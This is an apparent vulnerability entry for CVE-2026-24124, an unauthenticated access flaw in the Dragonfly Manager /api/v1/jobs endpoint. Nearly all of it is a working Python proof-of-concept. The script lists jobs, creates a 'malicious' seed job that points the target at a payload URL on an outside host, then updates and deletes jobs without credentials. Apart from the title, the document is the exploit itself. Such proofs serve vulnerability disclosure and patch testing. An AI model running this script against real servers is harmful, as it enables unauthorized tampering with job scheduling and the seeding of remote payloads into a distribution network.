CVE-2026-24124 Dragonfly Job API 未授权访问漏洞

import requests # CVE-2026-24124 PoC - Dragonfly Job API Unauthorized Access # Target: Dragonfly Manager API with vulnerable /api/v1/jobs endpoint target_url = "http://target-server:8080" # 1. List all jobs (GET - No authentication required) print("[+] Testing unauthorized job listing...") response = requests.get(f"{target_url}/api/v1/jobs") if response.status_code == 200: print(f"[SUCCESS] Retrieved {len(response.json())} jobs without authentication") jobs = response.json() # 2. Create malicious job (POST - No authentication required) print("[+] Testing unauthorized job creation...") malicious_job = { "task_id": "malicious-task-001", "type": "seed", "url": "http://malicious-source.com/payload", "state": "pending" } response = requests.post(f"{target_url}/api/v1/jobs", json=malicious_job) if response.status_code in [200, 201]: print("[SUCCESS] Created job without authentication") job_id = response.json().get("id") # 3. Update job (PUT - No authentication required) if job_id: print(f"[+] Testing unauthorized job update for job {job_id}...") updated_job = {"state": "cancelled", "result": "manipulated"} response = requests.put(f"{target_url}/api/v1/jobs/{job_id}", json=updated_job) if response.status_code == 200: print("[SUCCESS] Updated job without authentication") # 4. Delete job (DELETE - No authentication required) if job_id: print(f"[+] Testing unauthorized job deletion for job {job_id}...") response = requests.delete(f"{target_url}/api/v1/jobs/{job_id}") if response.status_code in [200, 204]: print("[SUCCESS] Deleted job without authentication") print("[*] Vulnerability confirmed: Job API accessible without authentication")